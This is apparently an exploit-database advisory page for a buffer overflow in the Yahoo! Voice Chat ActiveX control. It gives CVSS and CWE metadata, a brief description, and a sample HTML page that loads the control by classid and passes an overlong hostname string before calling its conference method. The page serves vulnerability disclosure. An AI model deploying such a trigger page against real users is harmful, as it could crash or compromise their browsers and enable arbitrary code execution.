Yahoo! Voice Chat ActiveX Control Buffer Overflow Vulnerability

vendor:

Yahoo! Voice Chat

by:

SecurityFocus

7.5

CVSS

HIGH

Buffer Overflow

120 (Buffer Copy without Checking Size of Input)

CWE

Product Name: Yahoo! Voice Chat

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

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2002

Yahoo! Voice Chat ActiveX Control Buffer Overflow Vulnerability

It has been reported that the ActiveX control used by the Yahoo! Voice Chat feature is prone to an exploitable buffer overflow vulnerability. This issue can be exploited via a malicious web page that calls the vulnerable control with malformed parameters. Although unconfirmed, it has been conjectured that this condition may be exploited to execute arbitrary code.

Mitigation:

Ensure that the ActiveX control is not called with malformed parameters.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/7561/info

It has been reported that the ActiveX control used by the Yahoo! Voice Chat feature is prone to an exploitable buffer overflow vulnerability. This issue can be exploited via a malicious web page that calls the vulnerable control with malformed parameters. Although unconfirmed, it has been conjectured that this condition may be exploited to execute arbitrary code. 

------sample.htm-----------
<OBJECT id=yahooaudio type="application/x-oleobject"

classid="clsid:2B323CD9-50E3-11D3-9466-00A0C9700498">
</OBJECT>
<script>
yahooaudio.hostname="longstringheremorethan500chars";
yahooaudio.createandjoinconference();
</script>
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